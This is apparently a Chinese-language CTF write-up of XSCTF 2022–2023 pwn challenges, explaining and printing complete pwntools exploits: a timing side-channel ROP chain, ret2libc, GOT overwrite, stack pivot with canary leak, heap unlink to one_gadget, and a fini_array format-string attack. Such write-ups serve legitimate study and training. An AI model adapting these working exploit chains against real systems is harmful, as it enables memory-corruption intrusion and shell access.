0%

XSCTF2023

2023XSCTF热身赛

XSCTF2022 xsclub复现

img

有点逆天,保护除了canary都是绿的

img

前面有个base64,直接复制上去code就行

开了沙盒,禁了后门函数,关闭了标准输入和标准输出流,后面要改一下重定向,开了pie还要先泄露地址再rop,真的逆天啊。

基本上确定是ORW,直接ROP链构造shellcode?

注意这里是gets不能够逐字节绕过pie

会议回放

利用printf泄露pie

base64解码可以输入32字节,为了在后面继续输入点东西我们使用\x00截断,由于我们后续open会调用”flag”字符串的地址,所以我们要在这里写入“flag”,写完之后是这样”\x00flag\x00”共6个字节。那还剩下一个字节可以写读取我们的flag(flag{114514_1919810})的任何一个字符如”{“到此处进行比较

img

找到隐藏的syscallgadget,在main上面,上面东西越多,越有可能藏gadgets

img

此处侧信道使用宏观函数模拟微观汇编的功能

strcmp比较两个字符串,需要两个参数,返回这两个字符串的ASCII码差值给rax,这很方便我们syscall

我们再用原本函数给出的一个gadget片段来模拟cmp

img

最后的timeouts怎么去模拟呢?我们可以通过一些pause等函数来进入休眠状态来模拟。

我们用strcmp比较我们放在code最后一字节的我们写入的字符和我们open然后read到bss段上的flag,如果相同则返回0,这样就会跳到9A8执行ret,返回到pause。否则就会jmp rax程序报错。

如果我们接受timeout=0.25,就说明flag比对正确,输出flag。

我们一直执行,知道我们flag全部打印出来

如何泄露pie,我们可以看到在两个不同的libc版本,我们的rsi不同,20.04成功泄露,但是22.04不行,这是因为不同libc版本

这里是ubuntu20.04

img

这里是ubuntu22.04img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
from pwn import *
import base64
import signal

context.arch = 'amd64'
elf = ELF('club')

def handler(signum, frame):
raise TimeoutError() #抛出异常

def pwn(try_c, flag_len):
# io = process('./club')
# io = remote('127.0.0.1', 9999)
io = remote('43.248.98.206', 10075)
io.sendafter(' is XS-Club, your name?\n', 'a')#只发送一个a,因为printf上面会有残留地址
signal.signal(signal.SIGALRM, handler)
signal.alarm(1)#在1秒钟后触发 SIGALRM 信号。
#当定时器时间到达时,会触发 SIGALRM 信号,从而调用 handler 函数。
try:
io.recvuntil('Okay, ')
signal.alarm(0)#函数将信号处理程序设置为默认操作。这意味着如果超时发生,将执行默认的信号处理操作。
signal.signal(signal.SIGALRM, signal.SIG_DFL)
#如果在接收数据的过程中没有发生异常,那么超时定时器会被取消,然后代码继续执行后面的操作。
except:
signal.alarm(0)
signal.signal(signal.SIGALRM, signal.SIG_DFL)
io.close()
return False
pie_base = u64(io.recv(6).ljust(8, '\x00')) - (0x561d75601161 - 0x561d75600000)
strcmp_plt = pie_base + elf.plt['strcmp']
read_plt = pie_base + elf.plt['read']
read_got = pie_base + elf.got['read']
pop_rdi = pie_base + 0x00000000000011a3
pop_rsi_r15 = pie_base + 0x00000000000011a1
syscall = pie_base + 0x00000000000009f5
set_rdx_10 = pie_base + 0x00000000000009f7
csu1 = pie_base + 0x000000000000119A
csu2 = pie_base + 0x0000000000001180
bss_start = pie_base + 0x0000000000202020
flag_str_addr = pie_base + 0x000000000020207a
try_chr_addr = pie_base + 0x000000000020207f
target_chr_addr = bss_start + 0x300
set_rax_2 = flat([ #open
pop_rdi,
pie_base + 0x00000000000011E7,#从base64字符串中挑出来的'Y' 59
pop_rsi_r15,
pie_base + 0x00000000000015A0,#从printf打印的字符串拿出'W' 57
0,
strcmp_plt
])
set_rax_0x22 = flat([ #pause
pop_rdi,
pie_base + 0x00000000000011EF,#'y' 79
pop_rsi_r15,
pie_base + 0x00000000000015A0,#'W' 57
0,
strcmp_plt
])
test_gadget = pie_base + 0x000000000000099B

io.sendafter(' code\n', flat([base64.b64decode('ZjFhZ3tYU0NURi0yMDIyLWdvLWdvLWdvfQ=='), '\x00flag\x00', try_c]))
#try_c 我们测试对比用的字符放在这里
rop_chain = flat([
set_rax_2,
pop_rdi,
flag_str_addr,
pop_rsi_r15,
0,
0,
syscall,
csu1,
0,
1,
read_got,
0, #edi
target_chr_addr, #rsi #写到的是bss段上的一个地方
flag_len + 1, #rdx #一个字节一个字节来读入?
csu2,
'a' * 56,
pop_rdi,
try_chr_addr,#测试用的地方
pop_rsi_r15,
target_chr_addr + flag_len,#bss段上的一个地方+offset
0,#r15
strcmp_plt,
test_gadget,
set_rax_0x22,
syscall
])
if flag_len == 9:
rop_chain = flat([
set_rax_2,
pop_rdi,
flag_str_addr,
pop_rsi_r15,
0,
0,
syscall,
pop_rdi,
0,
pop_rsi_r15,
target_chr_addr,
0,
set_rdx_10,
read_plt,
pop_rdi,
try_chr_addr,
pop_rsi_r15,
target_chr_addr + flag_len,
0,
strcmp_plt,
test_gadget,
set_rax_0x22,
syscall
])
io.sendlineafter(' leave your phone number here\n', flat({0x28: rop_chain}))
sleep(0.1)
io.recvuntil('~\nNow you can join the club, go crazy!!! *\\(^o^)/*\n')
try:
io.recv(timeout = 0.25)
io.close()
return True
except:
io.close()
return False

table = 'abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890{}-_@$&*!?.'
flag = ''
t = time.time()
while True:
for c in table:
if pwn(c, len(flag)):
flag += c
break
if flag.endswith('}'):
success(flag)
#success(flat(['time: ', str(round(time.time() - t, 2)), 's']))
break
else:
info(flag)
#info(flat(['time: ', str(round(time.time() - t, 2)), 's']))
sleep(0.1)

2023XSCTF

【新生专属】chatgpt

ret2libc和strlen的绕过,strlen会根据b’\x00’截断字符串,来判断字符串长度,只要我们padding都是b’\x00’,那就无关紧要doge,这里也没有canary和pie保护,常规的ret2libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import*
from LibcSearcher import LibcSearcher
context(log_level='debug',arch='amd64')
#p = remote('node4.buuoj.cn',29649)
p=process('./chatgpt')
elf=ELF('chatgpt')

pop_rdi=0x00401503
put_plt=elf.plt['puts']
put_got=elf.got['puts']
main_addr=elf.symbols['main']
ret_addr = 0x401416

print("put_plt:",hex(put_plt))
print("put_got:",hex(put_got))
print("main_addr:",hex(main_addr))

print("leak put_got addr and return to put_leak")

p.sendlineafter(b'your choice: \n',str(1))
payload=b'\x00'*0x28+p64(pop_rdi)+p64(put_got)+p64(put_plt)+p64(main_addr)
p.sendline(payload)

put_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print("puts_addr",hex(put_addr))
#libc=LibcSearcher('puts',put_addr)
libcbase = put_addr-0x084420#libc.dump('puts')
system_addr=libcbase+ 0x052290#libc.dump('system')
binsh_addr=libcbase+0x1b45bd#libc.dump('str_bin_sh')

print("libcbase =",hex(libcbase))
print("system_addr =",hex(system_addr))
print("binsh_addr =",hex(binsh_addr))

p.sendlineafter(b'your choice: \n',str(1))
payload2=b'\0'*0x28+p64(ret_addr)+p64(pop_rdi)+p64(binsh_addr)+p64(system_addr)

p.sendline(payload2)

p.interactive()

【新生专属】babystack

第一个漏洞是读入int类型,进入函数的时候会转换成unsigned int类型,如果我们输入是-1,那就会转换成0XFFFFFFFF表示的10进制,这样就可以绕过判断。之后就是常规的ret2rip,如果遇到栈平衡的问题,可以在payload里面加一个p64(ret),或者返回到backdoor函数的后几个字节(主要是跳过puhs rbp)。

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
context(log_level='debug',arch='amd64')
p=process('./babystack')

ret=0x40124C

p.sendline(str(-1))
payload=b'a'*0x58+p64(ret)+p64(0x4012b7)
p.sendline(payload)

p.interactive()

【新生专属】babypwn

其实开不开pie没什么影响

img

数组下界溢出修改got表

观察到数据写入到bss段,然后计算输入点和exit_got表的偏移,覆盖exit_got为backdoor后门函数,返回程序就可以getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='amd64')
p=process('./babypwn')
#p=remote('node4.buuoj.cn',29750)
elf=ELF('./babypwn')

#gdb.attach(p)
backdoor=0x401330
BOSS=0X4040C0
puts_got=0x404018
exit_got=0x404058

p.sendline("xswlhhh")

off=int((exit_got-BOSS)/8)
p.sendline(str(off))

payload=p64(backdoor)
p.sendline(payload)

p.interactive()

signin 1 和2

【复现】I_want_2_leave

0X1 分析

解题人:xswlhhh

解题的时候不小心重置快照,exp没保存又写一遍,之后又重写,调了好久才通了

这里它设置了一个global_canary。我们需要去泄露他,然后循环条件是v2<=0,我们要在栈上设置v2的数字并且泄露canary,这里有点讲究

我们本地测试canary.txt是8位的,p.send就可以泄露canary和rbp。事实上远程也是8位的,不过也可以一步一步来,先泄露canary,再来rbp。

1
2
payload=b'a'*0x40+p32(0xFFFFFF66)+b'bbbb'
p.send(payload)

至于这里接收用什么这主要看你用什么数据,怎么去调整接收到的数据

img

这里我们上面说了,第一次就把canary和rbp给泄露了

我们看到藏了个system函数

img

而且它给的栈溢出空间太小了,只能覆盖到RBP和RET(rip),所以这里栈迁移到栈上,刚好”/bin/sh\x00”八字节,刚好住了pop了一个8的位置,而且地址也在栈顶

1
2
3
4
payload1=b"/bin/sh\x00"+p64(pop_rdi)+p64(stack)+p64(ret)+p64(0x401124)+p64(0x401124)
payload1=payload1.ljust(0x40,b'a')
payload1+=p32(0x1)+b'bbbb'+p64(canary)
payload1+=p64(stack)+p64(leave_ret)

最后本地通了,貌似远程有问题?

img

0X3 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
context(log_level='debug',arch='amd64')
p=process('./pwn')
#p=remote("43.248.97.200",40061)
elf=ELF('./pwn')
system_plt=elf.plt['system']
system_got=0x404038
pop_rdi=0x4014d3
leave_ret=0x401469
ret=0x401432

payload=b'a'*0x40+p32(0xFFFFFF66)+b'bbbb'
p.send(payload)
p.recvuntil("bbbb")
canary=u64(p.recv(8).rjust(8,b'0'))
print("canary=",p64(canary))

rbp=u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
stack=rbp-0x70
bin_sh=stack-0x20
print("rbp=",hex(rbp))
print("stack=",hex(stack))
print("canary=",p64(canary))

payload1=b"/bin/sh\x00"+p64(pop_rdi)+p64(stack)+p64(ret)+p64(0x401124)+p64(0x401124)
payload1=payload1.ljust(0x40,b'a')
payload1+=p32(0x1)+b'bbbb'+p64(canary)
payload1+=p64(stack)+p64(leave_ret)
#gdb.attach(p)
p.sendline(payload1)
#bytes(str(hex(canary))

p.interactive()

【复现】uheap

大佬出的题异构堆wp:https://pastebin.ubuntu.com/p/dqPRBSkdRJ/

【复现】how2heap

大佬出的题,完全不会,提醒着我不能停下学习了,加油!

0x1 分析

首先checksec 函数,没开pie,堆题常规保护

img

然后放进ida,菜单函数如下:

img

下面简述每个函数的功能:

  • add: 一共只能申请9个chunk,大小在0-0x160之间,将地址存到bss段,将size存在bss段,同时将bss段的heap_flag置1
  • delete: free 9个chunk的其中一个,并且会将堆指针置零,heap_flag设置为2(这样我们不能再申请)
  • edit: 不能修改前面7个chunk,也就是那7个chunk只能用来填充,而且heap_flag为1,我们才能edit,用的是bss上存的size,没有溢出。
  • show: heap_flag为1才能show,也就是没漏洞

backdoor114514

还有一个backdoor114514函数,漏洞就在这里,我们简单阐述一下:

只有chunk7(第8个chunk存在)才可能利用这个函数,一共分为两部分利用。

一、将chance置为1,同时分配一个0x20的chunk给buf指针

二、将chance置为2,向buf上读入0x20字节数据,这里造成了堆溢出,可以覆盖pre_size和size

(懂的都懂,就是不会构造,接下来跟着大佬wp来学习!)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
unsigned __int64 back()
{
unsigned __int64 result; // rax

result = (unsigned int)heap_8;
if ( heap_8 )
{
if ( chance )
{
if ( chance != 1 )
exit(0);
chance = 2;
read(0, buf, 0x20uLL);
result = (unsigned __int64)&puts;
qword_404060 = (__int64)&puts;
}
else
{
chance = 1; // chance初始化为0
result = (unsigned __int64)malloc(0x10uLL);
buf = (void *)result;
}
}
return result;
}

0x2 大佬思路总结

我们一共能申请9个chunk,前面7个chunk(0-6)肯定是用来填满tcache的,我们只有申请第八个chunk,才能调用漏洞函数,我们应该如何构造呢?

首先肯定是要分配8个相同大小chunk,然后调用漏洞函数,此时会有9个chunk(其中一个是0x20大小的chunk_bug)在我们程序里,这时候申请最后一个(第9个)chunk。

释放前面7个chunk填满tceche,由于我们BSS段上存有堆指针,我们只要劫持了BSS段就能够操作堆函数任意读写,我们通过伪造fakechunk来实现unlink,使指向chunk7的指针P,指向&P-0x18,这样就可以控制bss段上的chunk

然后泄露back114514的libc,通过覆盖exit_hook的后续函数来getshell

0x3 调试

首先肯定是要分配8个相同大小chunk,然后调用漏洞函数,此时会有9个chunk(其中一个是0x20大小的chunk_bug)在我们程序里,这时候申请最后一个(第9个)chunk。

此时堆布局如下

1
2
3
4
5
add(0xb0,b'xswlhhhaaaaaaaaaaaaaa')#7
cmd(114514) # 7 _ & _ 8
add(0xb0,b'bbbbbbbbbbbbbbb')#8
for i in range(7):
delete(str(i))

img


然后利用chunk_bug修改chunk8的pre和size。

1
2
3
4
5
cmd(114514)
payload=b'a'*0x10
payload+=p64(0xd0)+p64(0xc0)
p.sendline(payload)
gdb.attach(p)

img


为了达到unlink效果,当然我们要在chunk7上面伪造一个chunk,那它fakechunk的fd和bk我们要给什么呢?

1
2
payload=p64(0)+p64(0xd1)+p64(0x4040b8-0x18)+p64(0x4040b8-0x10)
edit(7,payload)

我们知道在bss段上存储了堆的指针,我们是否可以利用这些指针当做fd和bk来绕过循环?

而且这些指针刚好指向data区,也就是我们fakechunk的pre_size区。

首先我们fake.FD设置成0x4040a0也就是让右边区域的0x125f7e0为bk指向fakechunk的pre_size,

然后我们fake.BK设置成0x4040a8也就是让右边区域的0x125f7e0为fd指向fakechunk的pre_size。

  • img

img


1
delete(8)

我们此时释放chunk8,chunk8会检查fake.FD指向的(0x4040b8-0x18)chunk的bk是否指向fake.pre

同时检查fake.BK指向的(0x4040b8-0x10)chunk的fd是否指向fake.pre

很显然我们这里是通过的,检查chunk8的标志位为0和pre_size=fake.size,触发向前合并操作(合并fake_chunk)。此时chunk3的首地址就是fakechunk,其fd和bk指针就是我们的p64(0x4040b8-0x18)+p64(0x4040b8-0x10)。

注意这里chunk8(第9chunk)free掉了,所以那里指针变成了0,chunk7指针本来指向chunk7,但是被unlink修改了(&Ptr-0x18)。

imgimg

此时我们通过chunk7的write操作(chunk7_size=0xb0)就可以在bss段上布置堆指针和heap_flag给我们利用了。


1
2
3
payload=p64(0)*3+p64(0x404060)
edit(7,payload)
show(7)

我们看看0x404060是哪里,它正好是back114514存储libc的地方,原来泄露libc是从这里泄露的

img

img


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ld_base=libc_base+0x1f4000
_rtld_global=ld_base+ld.sym['_rtld_global']
_dl_rtld_lock_recursive=_rtld_global+0xf08
_dl_rtld_unlock_recursive=_rtld_global+0xf10

execve = [0xe3afe, 0xe3b01, 0xe3b04]
for i in range(3):
execve[i] += libc_base
print("dl_recursive",hex(_dl_rtld_lock_recursive))
print("one=",hex(execve[0]))
payload=p64(0)*11+p64(_dl_rtld_lock_recursive)
edit(7,payload)
edit(7,p64(execve[0]))

p.sendline(b'6')

接收完libc,我们就要算好我们要用的地址,覆盖exit_hook的后续调用函数(调用了 __rtld_lock_lock_recursive 和 __rtld_lock_unlock_recursive 。)为one_gadget来getshell

有关文章

我们可以用p _rtld_global,然后慢慢找到我们想要的函数

img

找到这两个函数了

img

img

然后退出函数即可getshell,这里本地没有getshell,到时候问问怎么回事

调试发现最后堆指针指向了这里,看来是ld和libc偏移变了,我们改一下就行了(Ubunutu20.04)

img

img

img

发现写错位置了,要15FF8+8=16000,很好终于通了

img

img

0x4 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from pwn import *
context(log_level='debug',arch='amd64')
p=process('./heap')
elf=ELF('./heap')
libc=ELF('./libc.so.6')
ld=ELF("./ld-linux-x86-64.so.2")
#p=remote("43.248.97.200",40061)

bss_flag=0x4040E0

def cmd(cho):
p.sendlineafter('please input your choice:',str(cho))

def add(size,content):
cmd(1)
p.sendlineafter('size:',str(size))
p.sendlineafter('content:',content)

def show(idx):
cmd(4)
p.sendlineafter('index:',str(idx))

def edit(idx,content):
cmd(3)
p.sendlineafter("index:",str(idx))
p.sendafter('new content:',content)

def delete(idx):
cmd(2)
p.sendlineafter("index:",str(idx))

for i in range(7):
add(0xb0,b'/bin/sh\x00')

add(0xb0,b'xswlhhhaaaaaaaaaaaaaa')#7
cmd(114514) # 7 _ & _ 8
add(0xb0,b'bbbbbbbbbbbbbbb')#8
for i in range(7):
delete(str(i))

cmd(114514)

payload=b'a'*0x10
payload+=p64(0xd0)+p64(0xc0)
p.sendline(payload)
#gdb.attach(p)

payload=p64(0)+p64(0xd1)+p64(0x4040b8-0x18)+p64(0x4040b8-0x10)
edit(7,payload)
delete(8)

payload=p64(0)*3+p64(0x404060)
edit(7,payload)
show(7)
puts_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print("puts_addr=",hex(puts_addr))

libc_base=puts_addr-libc.symbols["puts"]
free_hook=libc_base+libc.symbols["__free_hook"]
system=libc_base+libc.symbols["system"]

ld_base=libc_base+0x1f4000
_rtld_global=ld_base+ld.sym['_rtld_global']
_dl_rtld_lock_recursive=_rtld_global+0xf08+0x16000
_dl_rtld_unlock_recursive=_rtld_global+0xf10

execve = [0xe3afe, 0xe3b01, 0xe3b04]
for i in range(3):
execve[i] += libc_base
print("dl_recursive",hex(_dl_rtld_lock_recursive))
print("one=",hex(execve[0]))
payload=p64(0)*11+p64(_dl_rtld_lock_recursive)
edit(7,payload)
edit(7,p64(execve[0]))
#gdb.attach(p)
p.sendline(b'6')
print("dl_recursive",hex(_dl_rtld_lock_recursive))
print("one=",hex(execve[0]))

p.interactive()

【复现】guess

考点:TLS覆盖canary

【复现】easy_pwn

复现时间隔得有一个月了,太懒了,现在就来复现这个非栈上格式化字符串

程序只有个非栈上格式化字符串漏洞,而且只能使用两次,我们首先要修改这个次数限制。

0x2 调试

我们先看看我们的格式化字符串的偏移情况,可以看到偏移为6时(也就是nil数据),刚好到栈上

1
p.send(b'%p %p %p %p %p  %p %p %p %p %p')

img

img

随后验证%6$p刚好是nil,没问题,接下来我们看看栈上的一些指针链。好像也没有我们能够利用的rbp指针链。

所以这题我们试试修改exit的后续函数。我们跟随ret,来到这个地方调用exit。

img

用gdb调试main函数的时候,不难发现main的返回地址是__libc_start_main也就是说main并不是程序真正开始的地方,__libc_start_main的执行是在main的前面。

可以发现__libc_start_main函数的参数中,有3个是函数指针:

img

其中__libc_csu_fini是在main执行完毕后执行的

程序结束时会调用_fini_array指向的函数指针,所以我们将其修改为main的地址就会循环调用了

简单地说,在main函数后会调用.init段代码和.init_array段的函数数组中每一个函数指针。而我们的目标就是修改.fini_array数组的第一个元素为start。需要注意的是,这个数组的内容在再次从start开始执行后又会被修改,且程序可读取的字节数有限,因此需要一次性修改两个地址并且合理调整payload。

一种ROP攻击思路

所以这题我们的目的还是要改_fini_array,位于0x403e18-0x403e20的位置

img

我们注意到此处刚好就是这个_fini_array的位置

img

我们改它为我们的main函数地址,同时泄露libc地址和栈地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
p.recvuntil('Today the store is on sale, do you want to shop?')
p.sendline('yes')

##################
p.recvuntil("What do you want to buy?")
p.sendline('G')
p.send(b'%150c%8$hhn+%11$p-%13$p')
gdb.attach(p)
p.recvuntil("+0x")
libc_main_start=int(p.recv(12).rjust(16,b'0'),16)-243
p.recvuntil("-0x")
rbp=int(p.recv(12).rjust(16,b'0'),16)-0xe0-0x18

print("libc_main:",hex(libc_main_start))
print("rbp:",hex(rbp))

img

1
2
3
4
p.recvuntil("What do you want to buy?")
p.sendline('G')

p.sendline(b"%"+str(ret1_1).encode()+b"c%13$hn"+b"%2c%29$h

当我们通过_fini__array进入main,我们ret之后会返回一个libc地址,很遗憾这个libc地址和one_gadget还是有点远的。但是我们可以通过下面的两个指针链分别修改两个字节和一个字节就可以达成改libc地址为one_gadget的效果

img

第二次执行main时,如图

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
p.recvuntil('Today the store is on sale, do you want to shop?')
p.sendline('yes')
p.recvuntil("What do you want to buy?")
p.sendline('G')
print("libc_main:",hex(libc_main_start))
print("rbp:",hex(rbp))
print("libcbase",hex(libcbase))
print("ret1:",hex(ret1))
print("one0",hex(one0),hex(one[0]))

gdb.attach(p)
p.sendline(b'%'+str(one0_0).encode()+b"c%71$hhn%"+str(one0-one0_0).encode()+b"c%69$hn")

p.recvuntil("What do you want to buy?")
p.sendline('G')
p.sendline("%p")

之后改成功了

img

0X3 EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import*
from LibcSearcher import LibcSearcher
context(log_level='debug',arch='amd64')
#p = remote('node4.buuoj.cn',29649)
p=process('./pwn')
elf=ELF('./pwn')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

pop_rdi=0x00400c83
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main_addr=elf.symbols['main']
mprotect_3=0x40127f
ret = 0x4015B4

setone_offset=8
p.recvuntil('Today the store is on sale, do you want to shop?')
p.sendline('yes')

one=[0xe3afe,0xe3b01,0xe3b04]
##################
p.recvuntil("What do you want to buy?")
p.sendline('G')
p.send(b'%150c%8$hhn+%11$p-%13$p')

p.recvuntil("+0x")
libc_main_start=int(p.recv(12).rjust(16,b'0'),16)-243
libcbase=libc_main_start-0x23f90
p.recvuntil("-0x")
rbp=int(p.recv(12).rjust(16,b'0'),16)-0xe0-0x18
ret=rbp+8
print("libc_main:",hex(libc_main_start))
print("rbp:",hex(rbp))
print("libcbase",hex(libcbase))

for i in range(3):
one[i]+=libcbase

ret1=ret-0xe0
ret1_1=ret1 %0X10000

print("ret1:",hex(ret1))
one0=one[0]&0xffff
one0_0=one[0]>>16 &0xff
one1=one[1]&0xffff
one2=one[2]&0xffff
######################
p.recvuntil("What do you want to buy?")
p.sendline('G')

p.sendline(b"%"+str(ret1_1).encode()+b"c%13$hn"+b"%2c%29$hn")

############################## FINI_ARRAY
p.recvuntil('Today the store is on sale, do you want to shop?')
p.sendline('yes')
p.recvuntil("What do you want to buy?")
p.sendline('G')
print("libc_main:",hex(libc_main_start))
print("rbp:",hex(rbp))
print("libcbase",hex(libcbase))
print("ret1:",hex(ret1))
print("one0",hex(one0),hex(one[0]))

#gdb.attach(p)
p.sendline(b'%'+str(one0_0).encode()+b"c%71$hhn%"+str(one0-one0_0).encode()+b"c%69$hn")

p.recvuntil("What do you want to buy?")
p.sendline('G')
p.sendline("%p")

p.interactive()

0x4 小结

应用这两个链改三字节是没想到的,学习

img